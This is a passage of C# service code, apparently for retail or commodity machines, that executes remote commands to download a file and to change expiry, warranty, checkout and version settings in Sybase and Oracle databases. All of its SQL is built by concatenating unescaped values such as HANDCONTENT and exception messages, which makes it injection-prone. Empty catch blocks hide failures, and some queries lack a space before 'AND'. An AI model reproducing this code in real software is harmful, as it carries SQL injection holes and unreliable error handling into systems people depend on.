// string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate +
//"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum +
//"',curramount=0,currsellcount=0,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname +
//"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode +
//"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'";
// OracleCommand ComSave = new OracleCommand(sqlsave, conn);
// ComSave.ExecuteNonQuery();
}
else
{
commodityInfo = "未找到条码为:" + HANDCONTENT + "的商品信息";
//string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate +
// "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE +
// "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum +
// ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname +
// "',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode +
// "' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
else
{
commodityInfo = "未找到对应商品信息";
//string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode +
// "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode +
// "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE +
// "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum +
// "," + commcount + ",'" + workname + "','未找到对应商品信息')";
//OracleCommand ComSave = new OracleCommand(sqlSave, conn);
//ComSave.ExecuteNonQuery();
}
}
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常," + commodityInfo +
"' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY +
"' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3,REMARK_DESC='正常," + commodityInfo +
"' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY +
"' AND MACHINE_MACADDRESS='" + MACHINE_MACADDRESS + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 下载 命令
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "download")
{
string sql = "";
string Oraclesql = "";
try
{
if (REPEAT_STATE == "1")
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://www.baidu.com/img/baidu_sylogo1.gif");
request.Method = "GET";
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream responseStream = response.GetResponseStream();
List btlst = new List();
int b = responseStream.ReadByte();
while (b > -1)
{
btlst.Add((byte)b);
b = responseStream.ReadByte();
}
byte[] bts = btlst.ToArray();
File.WriteAllBytes(@"E:\111\样本.jpg", bts); // 保存文件
try
{
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
if (REPEAT_STATE == "0")
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://www.baidu.com/img/baidu_sylogo1.gif");
request.Method = "GET";
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream responseStream = response.GetResponseStream();
List btlst = new List();
int b = responseStream.ReadByte();
while (b > -1)
{
btlst.Add((byte)b);
b = responseStream.ReadByte();
}
byte[] bts = btlst.ToArray();
File.WriteAllBytes(@"E:\111\样本.jpg", bts); // 保存文件
try
{
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 修改有效期命令
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "expirydate")
{
string sql = "";
string Oraclesql = "";
bool isContents = false;
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.sys_globle set expiry_date = date('" + HANDCONTENT + "') where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
if (((DateTime)Lib.SyBaseHelper.QueryOdbc("SELECT EXPIRY_DATE FROM SYS_GLOBLE " +
"WHERE VAR_NAME = 'g_ver'").Tables[0].Rows[0]["EXPIRY_DATE"]).Date == DateTime.Parse(HANDCONTENT).Date)
{
isContents = true;
}
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.sys_globle set expiry_date = date('" + HANDCONTENT + "') where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
if (((DateTime)Lib.SyBaseHelper.QueryOdbc("SELECT EXPIRY_DATE FROM SYS_GLOBLE " +
"WHERE VAR_NAME = 'g_ver'").Tables[0].Rows[0]["EXPIRY_DATE"]).Date == DateTime.Parse(HANDCONTENT).Date)
{
isContents = true;
}
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改有效期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改有效期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改有效期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改有效期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 设置硬件有效日期
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "setwarranty_date")
{
string sql = "";
string Oraclesql = "";
bool isContents = false;
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.sys_globle set WARRANTY_DATE = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置硬件有效日期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置硬件有效日期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置硬件有效日期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置硬件有效日期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.sys_globle set WARRANTY_DATE = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='设置硬件有效日期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='设置硬件有效日期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='设置硬件有效日期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='设置硬件有效日期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 设置结账有效日期
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "setendaccount_date")
{
string sql = "";
string Oraclesql = "";
bool isContents = false;
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.sys_globle set ENDACCOUNT_DATE = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置结账有效日期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置结账有效日期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置结账有效日期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置结账有效日期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.sys_globle set ENDACCOUNT_DATE = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='设置结账有效日期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='设置结账有效日期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='设置结账有效日期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='设置结账有效日期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 修改版本号
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "Version_num")
{
string sql = "";
string Oraclesql = "";
bool isContents = false;
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.sys_globle set bz = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改版本号成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改版本号成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改版本号失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改版本号失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.sys_globle set bz = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改版本号成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改版本号成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改版本号失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改版本号失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 修改日结校验天数
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "check_day")
{
string sql = "";
string Oraclesql = "";
bool isContents = false;
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.sys_globle set check_day = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改日结校验天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改日结校验天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改日结校验天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改日结校验天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.sys_globle set check_day = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改日结校验天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改日结校验天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改日结校验天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改日结校验天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
